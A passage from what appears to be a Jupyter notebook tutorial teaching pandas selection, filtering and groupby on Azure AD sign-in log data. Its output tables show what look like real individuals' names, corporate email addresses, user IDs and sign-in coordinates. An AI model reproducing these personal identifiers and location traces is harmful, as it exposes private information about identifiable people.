{'latitude'... MfaDetail {} NetworkLocationDetails [] OriginalRequestId 8c899d5c-3e15-4683-85a8-443d4a6f0d01 ProcessingTimeInMilliseconds 2372 RiskDetail none RiskEventTypes [] RiskEventTypes_V2 [] RiskLevelAggregated none RiskLevelDuringSignIn none RiskState none ResourceDisplayName Windows Azure Service Management API ResourceIdentity 797f4846-ba00-4fd7-ba43-dac1f8f63013 ServicePrincipalId ServicePrincipalName Status {'errorCode': 0} TokenIssuerName TokenIssuerType AzureAD UserAgent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447... UserDisplayName Koby Koren UserId da48f21e-2f91-4c6a-9d30-56fd10a24672 UserPrincipalName kobyk@microsoft.com AADTenantId 4b2462a4-bbee-495a-a0e1-f23ae524cc9c UserType Guest FlaggedForReview None IPAddressFromResourceProvider SignInIdentifier SignInIdentifierType ResourceTenantId 4b2462a4-bbee-495a-a0e1-f23ae524cc9c HomeTenantId 72f988bf-86f1-41af-91ab-2d7cd011db47 Type SigninLogs Result Sucess Latitude 32.16241073608399 Longitude 34.84468078613281 Name: 3, dtype: object
md("Show the column names in the DataFrame ", "bold")
display(data.columns)
Show the column names in the DataFrame
Index(['TenantId', 'SourceSystem', 'TimeGenerated', 'ResourceId', 'OperationName', 'OperationVersion', 'Category', 'ResultType', 'ResultSignature', 'ResultDescription', 'DurationMs', 'CorrelationId', 'Resource', 'ResourceGroup', 'ResourceProvider', 'Identity', 'Level', 'Location', 'AlternateSignInName', 'AppDisplayName', 'AppId', 'AuthenticationDetails', 'AuthenticationMethodsUsed', 'AuthenticationProcessingDetails', 'AuthenticationRequirement', 'AuthenticationRequirementPolicies', 'ClientAppUsed', 'ConditionalAccessPolicies', 'ConditionalAccessStatus', 'CreatedDateTime', 'DeviceDetail', 'IsInteractive', 'Id', 'IPAddress', 'IsRisky', 'LocationDetails', 'MfaDetail', 'NetworkLocationDetails', 'OriginalRequestId', 'ProcessingTimeInMilliseconds', 'RiskDetail', 'RiskEventTypes', 'RiskEventTypes_V2', 'RiskLevelAggregated', 'RiskLevelDuringSignIn', 'RiskState', 'ResourceDisplayName', 'ResourceIdentity', 'ServicePrincipalId', 'ServicePrincipalName', 'Status', 'TokenIssuerName', 'TokenIssuerType', 'UserAgent', 'UserDisplayName', 'UserId', 'UserPrincipalName', 'AADTenantId', 'UserType', 'FlaggedForReview', 'IPAddressFromResourceProvider', 'SignInIdentifier', 'SignInIdentifierType', 'ResourceTenantId', 'HomeTenantId', 'Type', 'Result', 'Latitude', 'Longitude'], dtype='object')
md("Display just the TimeGenerated and TenantId columnns: ", "bold")
display(data[["TimeGenerated", "TenantId"]].head())
Display just the TimeGenerated and TenantId columnns:
TimeGenerated | TenantId | |
---|---|---|
0 | 2021-06-28 10:55:21.648000+00:00 | 8ecf8077-cf51-4820-aadd-14040956f35d |
1 | 2021-06-28 10:55:26.252000+00:00 | 8ecf8077-cf51-4820-aadd-14040956f35d |
2 | 2021-06-28 11:36:15.896000+00:00 | 8ecf8077-cf51-4820-aadd-14040956f35d |
3 | 2021-06-28 12:24:50.274000+00:00 | 8ecf8077-cf51-4820-aadd-14040956f35d |
4 | 2021-06-28 12:24:44.957000+00:00 | 8ecf8077-cf51-4820-aadd-14040956f35d |
We can also choose to select a subset of our DataFrame by filtering the contents of the DataFrame.
data[<boolean expression>]returns all rows in the dataframe where the boolean expression is True.
md("Display only rows where AppDisplayName value is 'Azure Portal': ", "bold")
filtered_df = data[data['AppDisplayName'] == "Azure Portal"]
display(filtered_df.head())
Display only rows where AppDisplayName value is 'Azure Portal':
TenantId | SourceSystem | TimeGenerated | ResourceId | OperationName | OperationVersion | Category | ResultType | ResultSignature | ResultDescription | DurationMs | CorrelationId | Resource | ResourceGroup | ResourceProvider | Identity | Level | Location | AlternateSignInName | AppDisplayName | AppId | AuthenticationDetails | AuthenticationMethodsUsed | AuthenticationProcessingDetails | AuthenticationRequirement | ... | RiskLevelDuringSignIn | RiskState | ResourceDisplayName | ResourceIdentity | ServicePrincipalId | ServicePrincipalName | Status | TokenIssuerName | TokenIssuerType | UserAgent | UserDisplayName | UserId | UserPrincipalName | AADTenantId | UserType | FlaggedForReview | IPAddressFromResourceProvider | SignInIdentifier | SignInIdentifierType | ResourceTenantId | HomeTenantId | Type | Result | Latitude | Longitude | |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
2 | 8ecf8077-cf51-4820-aadd-14040956f35d | Azure AD | 2021-06-28 11:36:15.896000+00:00 | /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam | Sign-in activity | 1.0 | SignInLogs | 0 | None | 0 | 974ea11a-7ed4-4cfd-b86b-d3d4b5bd547f | Microsoft.aadiam | Microsoft.aadiam | Arseny Vasilev | 4 | RU | Azure Portal | c44b4083-3bb0-49c1-b47d-974e53cbdf3c | [\r\n {\r\n "authenticationStepDateTime": "2021-06-28T11:36:15.8961297+00:00",\r\n "authe... | [\r\n {\r\n "key": "IsCAEToken",\r\n "value": "False"\r\n }\r\n] | singleFactorAuthentication | ... | none | none | Windows Azure Service Management API | 797f4846-ba00-4fd7-ba43-dac1f8f63013 | {'errorCode': 0} | AzureAD | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447... | Arseny Vasilev | 9267d02c-5f76-40a9-a9eb-b686f3ca47aa | avasilev@viacode.com | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | Guest | None | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | 5fccd68a-e65e-46ae-96b1-2d896d680249 | SigninLogs | Sucess | 59.93904113769531 | 30.3157901763916 | ||||||||||
3 | 8ecf8077-cf51-4820-aadd-14040956f35d | Azure AD | 2021-06-28 12:24:50.274000+00:00 | /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam | Sign-in activity | 1.0 | SignInLogs | 0 | None | 0 | d1c11047-9e6d-4814-80fc-334c453582a3 | Microsoft.aadiam | Microsoft.aadiam | Koby Koren | 4 | IL | Azure Portal | c44b4083-3bb0-49c1-b47d-974e53cbdf3c | [\r\n {\r\n "authenticationStepDateTime": "2021-06-28T12:24:50.2743176+00:00",\r\n "authe... | [\r\n {\r\n "key": "Login Hint Present",\r\n "value": "True"\r\n },\r\n {\r\n "key":... | singleFactorAuthentication | ... | none | none | Windows Azure Service Management API | 797f4846-ba00-4fd7-ba43-dac1f8f63013 | {'errorCode': 0} | AzureAD | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447... | Koby Koren | da48f21e-2f91-4c6a-9d30-56fd10a24672 | kobyk@microsoft.com | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | Guest | None | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | 72f988bf-86f1-41af-91ab-2d7cd011db47 | SigninLogs | Sucess | 32.16241073608399 | 34.84468078613281 | ||||||||||
4 | 8ecf8077-cf51-4820-aadd-14040956f35d | Azure AD | 2021-06-28 12:24:44.957000+00:00 | /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam | Sign-in activity | 1.0 | SignInLogs | 0 | None | 0 | 60855931-eec4-466c-a24e-ba630c087a3e | Microsoft.aadiam | Microsoft.aadiam | Koby Koren | 4 | IL | Azure Portal | c44b4083-3bb0-49c1-b47d-974e53cbdf3c | [\r\n {\r\n "authenticationStepDateTime": "2021-06-28T12:24:44.9579314+00:00",\r\n "authe... | [\r\n {\r\n "key": "Login Hint Present",\r\n "value": "True"\r\n },\r\n {\r\n "key":... | singleFactorAuthentication | ... | none | none | Windows Azure Service Management API | 797f4846-ba00-4fd7-ba43-dac1f8f63013 | {'errorCode': 0, 'additionalDetails': 'MFA requirement satisfied by claim in the token'} | AzureAD | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447... | Koby Koren | da48f21e-2f91-4c6a-9d30-56fd10a24672 | kobyk@microsoft.com | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | Guest | None | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | 72f988bf-86f1-41af-91ab-2d7cd011db47 | SigninLogs | Sucess | 32.16241073608399 | 34.84468078613281 | ||||||||||
5 | 8ecf8077-cf51-4820-aadd-14040956f35d | Azure AD | 2021-06-28 12:24:40.501000+00:00 | /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam | Sign-in activity | 1.0 | SignInLogs | 0 | None | 0 | 9e5f0875-91cf-423f-8bbe-36c6f31bc5a5 | Microsoft.aadiam | Microsoft.aadiam | MAHE, Edouard | 4 | FR | Azure Portal | c44b4083-3bb0-49c1-b47d-974e53cbdf3c | [\r\n {\r\n "authenticationStepDateTime": "2021-06-28T12:24:40.5011019+00:00",\r\n "authe... | [\r\n {\r\n "key": "IsCAEToken",\r\n "value": "False"\r\n }\r\n] | singleFactorAuthentication | ... | none | none | Windows Azure Service Management API | 797f4846-ba00-4fd7-ba43-dac1f8f63013 | {'errorCode': 0} | AzureAD | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447... | MAHE, Edouard | 36d6777f-e4a7-4d8b-ac7d-9db0cf1138b0 | edouard.mahe@sogeti.com | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | Guest | None | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | 76a2ae5a-9f00-4f6b-95ed-5d33d77c4d61 | SigninLogs | Sucess | 48.79909896850586 | 2.262470006942749 | ||||||||||
9 | 8ecf8077-cf51-4820-aadd-14040956f35d | Azure AD | 2021-06-28 12:55:10.995000+00:00 | /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam | Sign-in activity | 1.0 | SignInLogs | 0 | None | 0 | cff2d84e-8faf-4367-a551-b315ebd59aac | Microsoft.aadiam | Microsoft.aadiam | Miemiec, Emanuel | 4 | PL | Azure Portal | c44b4083-3bb0-49c1-b47d-974e53cbdf3c | [\r\n {\r\n "authenticationStepDateTime": "2021-06-28T12:55:10.9951954+00:00",\r\n "authe... | [\r\n {\r\n "key": "IsCAEToken",\r\n "value": "False"\r\n }\r\n] | singleFactorAuthentication | ... | none | none | Windows Azure Service Management API | 797f4846-ba00-4fd7-ba43-dac1f8f63013 | {'errorCode': 0} | AzureAD | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.443... | Miemiec, Emanuel | b112c84a-fe47-4428-b3af-14ea028e6bf7 | emanuel.miemiec@capgemini.com | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | Guest | None | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | 76a2ae5a-9f00-4f6b-95ed-5d33d77c4d61 | SigninLogs | Sucess | 50.06748962402344 | 18.64970016479492 |
5 rows 69 columns
md("Display rows where ClientAppUsed is either 'Browser' or 'Mobile Apps and Desktop clients':", "bold")
filtered_df = data[data["ClientAppUsed"].isin(["Browser", "Mobile Apps and Desktop clients"])].head()
display(filtered_df)
Display rows where ClientAppUsed is either 'Browser' or 'Mobile Apps and Desktop clients':
TenantId | SourceSystem | TimeGenerated | ResourceId | OperationName | OperationVersion | Category | ResultType | ResultSignature | ResultDescription | DurationMs | CorrelationId | Resource | ResourceGroup | ResourceProvider | Identity | Level | Location | AlternateSignInName | AppDisplayName | AppId | AuthenticationDetails | AuthenticationMethodsUsed | AuthenticationProcessingDetails | AuthenticationRequirement | ... | RiskLevelDuringSignIn | RiskState | ResourceDisplayName | ResourceIdentity | ServicePrincipalId | ServicePrincipalName | Status | TokenIssuerName | TokenIssuerType | UserAgent | UserDisplayName | UserId | UserPrincipalName | AADTenantId | UserType | FlaggedForReview | IPAddressFromResourceProvider | SignInIdentifier | SignInIdentifierType | ResourceTenantId | HomeTenantId | Type | Result | Latitude | Longitude | |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
0 | 8ecf8077-cf51-4820-aadd-14040956f35d | Azure AD | 2021-06-28 10:55:21.648000+00:00 | /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam | Sign-in activity | 1.0 | SignInLogs | 0 | None | 0 | 9558f30b-a1db-4676-a586-7db608bdaa69 | Microsoft.aadiam | Microsoft.aadiam | On-Premises Directory Synchronization Service Account | 4 | US | Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com | Microsoft Azure Active Directory Connect | cb1056e2-e479-49de-ae31-7812af012ed8 | [\r\n {\r\n "authenticationStepDateTime": "2021-06-28T10:55:21.6485011+00:00",\r\n "authe... | [\r\n {\r\n "key": "IsCAEToken",\r\n "value": "False"\r\n }\r\n] | singleFactorAuthentication | ... | none | none | Windows Azure Active Directory | 00000002-0000-0000-c000-000000000000 | {'errorCode': 0} | AzureAD | On-Premises Directory Synchronization Service Account | 2235a468-ad9c-4375-8008-0a7be76994a7 | sync_aadcon_a5225d32ba79@seccxpninja.onmicrosoft.com | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | Member | None | Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | SigninLogs | Sucess | 38.73078155517578 | -78.17196655273438 | |||||||||
1 | 8ecf8077-cf51-4820-aadd-14040956f35d | Azure AD | 2021-06-28 10:55:26.252000+00:00 | /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam | Sign-in activity | 1.0 | SignInLogs | 0 | None | 0 | dac1edbe-1985-4f78-8d20-f4725e28b865 | Microsoft.aadiam | Microsoft.aadiam | On-Premises Directory Synchronization Service Account | 4 | US | Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com | Microsoft Azure Active Directory Connect | cb1056e2-e479-49de-ae31-7812af012ed8 | [\r\n {\r\n "authenticationStepDateTime": "2021-06-28T10:55:26.2522747+00:00",\r\n "authe... | [\r\n {\r\n "key": "IsCAEToken",\r\n "value": "False"\r\n }\r\n] | singleFactorAuthentication | ... | none | none | Windows Azure Active Directory | 00000002-0000-0000-c000-000000000000 | {'errorCode': 0} | AzureAD | On-Premises Directory Synchronization Service Account | 2235a468-ad9c-4375-8008-0a7be76994a7 | sync_aadcon_a5225d32ba79@seccxpninja.onmicrosoft.com | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | Member | None | Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | SigninLogs | Sucess | 38.7130012512207 | -78.15899658203125 | |||||||||
2 | 8ecf8077-cf51-4820-aadd-14040956f35d | Azure AD | 2021-06-28 11:36:15.896000+00:00 | /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam | Sign-in activity | 1.0 | SignInLogs | 0 | None | 0 | 974ea11a-7ed4-4cfd-b86b-d3d4b5bd547f | Microsoft.aadiam | Microsoft.aadiam | Arseny Vasilev | 4 | RU | Azure Portal | c44b4083-3bb0-49c1-b47d-974e53cbdf3c | [\r\n {\r\n "authenticationStepDateTime": "2021-06-28T11:36:15.8961297+00:00",\r\n "authe... | [\r\n {\r\n "key": "IsCAEToken",\r\n "value": "False"\r\n }\r\n] | singleFactorAuthentication | ... | none | none | Windows Azure Service Management API | 797f4846-ba00-4fd7-ba43-dac1f8f63013 | {'errorCode': 0} | AzureAD | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447... | Arseny Vasilev | 9267d02c-5f76-40a9-a9eb-b686f3ca47aa | avasilev@viacode.com | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | Guest | None | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | 5fccd68a-e65e-46ae-96b1-2d896d680249 | SigninLogs | Sucess | 59.93904113769531 | 30.3157901763916 | ||||||||||
3 | 8ecf8077-cf51-4820-aadd-14040956f35d | Azure AD | 2021-06-28 12:24:50.274000+00:00 | /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam | Sign-in activity | 1.0 | SignInLogs | 0 | None | 0 | d1c11047-9e6d-4814-80fc-334c453582a3 | Microsoft.aadiam | Microsoft.aadiam | Koby Koren | 4 | IL | Azure Portal | c44b4083-3bb0-49c1-b47d-974e53cbdf3c | [\r\n {\r\n "authenticationStepDateTime": "2021-06-28T12:24:50.2743176+00:00",\r\n "authe... | [\r\n {\r\n "key": "Login Hint Present",\r\n "value": "True"\r\n },\r\n {\r\n "key":... | singleFactorAuthentication | ... | none | none | Windows Azure Service Management API | 797f4846-ba00-4fd7-ba43-dac1f8f63013 | {'errorCode': 0} | AzureAD | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447... | Koby Koren | da48f21e-2f91-4c6a-9d30-56fd10a24672 | kobyk@microsoft.com | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | Guest | None | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | 72f988bf-86f1-41af-91ab-2d7cd011db47 | SigninLogs | Sucess | 32.16241073608399 | 34.84468078613281 | ||||||||||
4 | 8ecf8077-cf51-4820-aadd-14040956f35d | Azure AD | 2021-06-28 12:24:44.957000+00:00 | /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam | Sign-in activity | 1.0 | SignInLogs | 0 | None | 0 | 60855931-eec4-466c-a24e-ba630c087a3e | Microsoft.aadiam | Microsoft.aadiam | Koby Koren | 4 | IL | Azure Portal | c44b4083-3bb0-49c1-b47d-974e53cbdf3c | [\r\n {\r\n "authenticationStepDateTime": "2021-06-28T12:24:44.9579314+00:00",\r\n "authe... | [\r\n {\r\n "key": "Login Hint Present",\r\n "value": "True"\r\n },\r\n {\r\n "key":... | singleFactorAuthentication | ... | none | none | Windows Azure Service Management API | 797f4846-ba00-4fd7-ba43-dac1f8f63013 | {'errorCode': 0, 'additionalDetails': 'MFA requirement satisfied by claim in the token'} | AzureAD | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447... | Koby Koren | da48f21e-2f91-4c6a-9d30-56fd10a24672 | kobyk@microsoft.com | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | Guest | None | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | 72f988bf-86f1-41af-91ab-2d7cd011db47 | SigninLogs | Sucess | 32.16241073608399 | 34.84468078613281 |
5 rows 69 columns
Grouping and calculating aggregate totals on the groups is done using the groupby
function.
# The basic groupby syntax counts all of columns other than the group column
display(data.groupby("AppDisplayName").count().head())
# Selecting a subset of the columns and renaming gives a more readable output.
display(
data[["AppDisplayName", "TimeGenerated"]]
.groupby("AppDisplayName")
.count()
.rename(columns={"TimeGenerated": "AppCount"})
.head()
)
# Note: you can surround dataframe chained operations (as in the previous example)
# with parentheses to split them into a more readable format.
TenantId | SourceSystem | TimeGenerated | ResourceId | OperationName | OperationVersion | Category | ResultType | ResultSignature | ResultDescription | DurationMs | CorrelationId | Resource | ResourceGroup | ResourceProvider | Identity | Level | Location | AlternateSignInName | AppId | AuthenticationDetails | AuthenticationMethodsUsed | AuthenticationProcessingDetails | AuthenticationRequirement | AuthenticationRequirementPolicies | ... | RiskLevelDuringSignIn | RiskState | ResourceDisplayName | ResourceIdentity | ServicePrincipalId | ServicePrincipalName | Status | TokenIssuerName | TokenIssuerType | UserAgent | UserDisplayName | UserId | UserPrincipalName | AADTenantId | UserType | FlaggedForReview | IPAddressFromResourceProvider | SignInIdentifier | SignInIdentifierType | ResourceTenantId | HomeTenantId | Type | Result | Latitude | Longitude | |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
AppDisplayName | |||||||||||||||||||||||||||||||||||||||||||||||||||
1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | ... | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | |
ACOM Azure Website | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | ... | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 0 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 |
App Service | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | ... | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 0 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 | 3 |
Azure AD Identity Governance - Entitlement Management | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | ... | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 |
Azure Active Directory PowerShell | 8 | 8 | 8 | 8 | 8 | 8 | 8 | 8 | 8 | 8 | 8 | 8 | 8 | 8 | 8 | 8 | 8 | 8 | 8 | 8 | 8 | 8 | 8 | 8 | 8 | ... | 8 | 8 | 8 | 8 | 8 | 8 | 8 | 8 | 8 | 8 | 8 | 8 | 8 | 8 | 8 | 0 | 8 | 8 | 8 | 8 | 8 | 8 | 8 | 8 | 8 |
Azure Advanced Threat Protection | 19 | 19 | 19 | 19 | 19 | 19 | 19 | 19 | 19 | 19 | 19 | 19 | 19 | 19 | 19 | 19 | 19 | 19 | 19 | 19 | 19 | 19 | 19 | 19 | 19 | ... | 19 | 19 | 19 | 19 | 19 | 19 | 19 | 19 | 19 | 19 | 19 | 19 | 19 | 19 | 19 | 0 | 19 | 19 | 19 | 19 | 19 | 19 | 19 | 19 | 19 |
Azure DevOps | 7 | 7 | 7 | 7 | 7 | 7 | 7 | 7 | 7 | 7 | 7 | 7 | 7 | 7 | 7 | 7 | 7 | 7 | 7 | 7 | 7 | 7 | 7 | 7 | 7 | ... | 7 | 7 | 7 | 7 | 7 | 7 | 7 | 7 | 7 | 7 | 7 | 7 | 7 | 7 | 7 | 0 | 7 | 7 | 7 | 7 | 7 | 7 | 7 | 7 | 7 |
Azure Machine Learning Workbench Web App | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | ... | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 0 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 |
Azure Portal | 884 | 884 | 884 | 884 | 884 | 884 | 884 | 884 | 884 | 884 | 884 | 884 | 884 | 884 | 884 | 884 | 884 | 884 | 884 | 884 | 884 | 884 | 884 | 884 | 884 | ... | 884 | 884 | 884 | 884 | 884 | 884 | 884 | 884 | 884 | 884 | 884 | 884 | 884 | 884 | 884 | 0 | 884 | 884 | 884 | 884 | 884 | 884 | 884 | 884 | 884 |
Azure Synapse Studio | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | ... | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 0 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 |
Intranet | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | ... | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 |
Microsoft 365 Security and Compliance Center | 32 | 32 | 32 | 32 | 32 | 32 | 32 | 32 | 32 | 32 | 32 | 32 | 32 | 32 | 32 | 32 | 32 | 32 | 32 | 32 | 32 | 32 | 32 | 32 | 32 | ... | 32 | 32 | 32 | 32 | 32 | 32 | 32 | 32 | 32 | 32 | 32 | 32 | 32 | 32 | 32 | 0 | 32 | 32 | 32 | 32 | 32 | 32 | 32 | 32 | 32 |
Microsoft App Access Panel | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | ... | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 0 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 |
Microsoft Azure Active Directory Connect | 985 | 985 | 985 | 985 | 985 | 985 | 985 | 985 | 985 | 985 | 985 | 985 | 985 | 985 | 985 | 985 | 985 | 985 | 985 | 985 | 985 | 985 | 985 | 985 | 985 | ... | 985 | 985 | 985 | 985 | 985 | 985 | 985 | 985 | 985 | 985 | 985 | 985 | 985 | 985 | 985 | 0 | 985 | 985 | 985 | 985 | 985 | 985 | 985 | 985 | 985 |
Microsoft Azure CLI | 4 | 4 | 4 | 4 | 4 | 4 | 4 | 4 | 4 | 4 | 4 | 4 | 4 | 4 | 4 | 4 | 4 | 4 | 4 | 4 | 4 | 4 | 4 | 4 | 4 | ... | 4 | 4 | 4 | 4 | 4 | 4 | 4 | 4 | 4 | 4 | 4 | 4 | 4 | 4 | 4 | 0 | 4 | 4 | 4 | 4 | 4 | 4 | 4 | 4 | 4 |
Microsoft Azure PowerShell | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | ... | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 |
Microsoft Azure Purview Studio | 75 | 75 | 75 | 75 | 75 | 75 | 75 | 75 | 75 | 75 | 75 | 75 | 75 | 75 | 75 | 75 | 75 | 75 | 75 | 75 | 75 | 75 | 75 | 75 | 75 | ... | 75 | 75 | 75 | 75 | 75 | 75 | 75 | 75 | 75 | 75 | 75 | 75 | 75 | 75 | 75 | 0 | 75 | 75 | 75 | 75 | 75 | 75 | 75 | 75 | 75 |
Microsoft Cloud App Security | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | ... | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 0 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 |
Microsoft Docs | 10 | 10 | 10 | 10 | 10 | 10 | 10 | 10 | 10 | 10 | 10 | 10 | 10 | 10 | 10 | 10 | 10 | 10 | 10 | 10 | 10 | 10 | 10 | 10 | 10 | ... | 10 | 10 | 10 | 10 | 10 | 10 | 10 | 10 | 10 | 10 | 10 | 10 | 10 | 10 | 10 | 0 | 10 | 10 | 10 | 10 | 10 | 10 | 10 | 10 | 10 |
Microsoft Edge | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | ... | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 0 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 |
Microsoft Invitation Acceptance Portal | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | ... | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 0 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 |
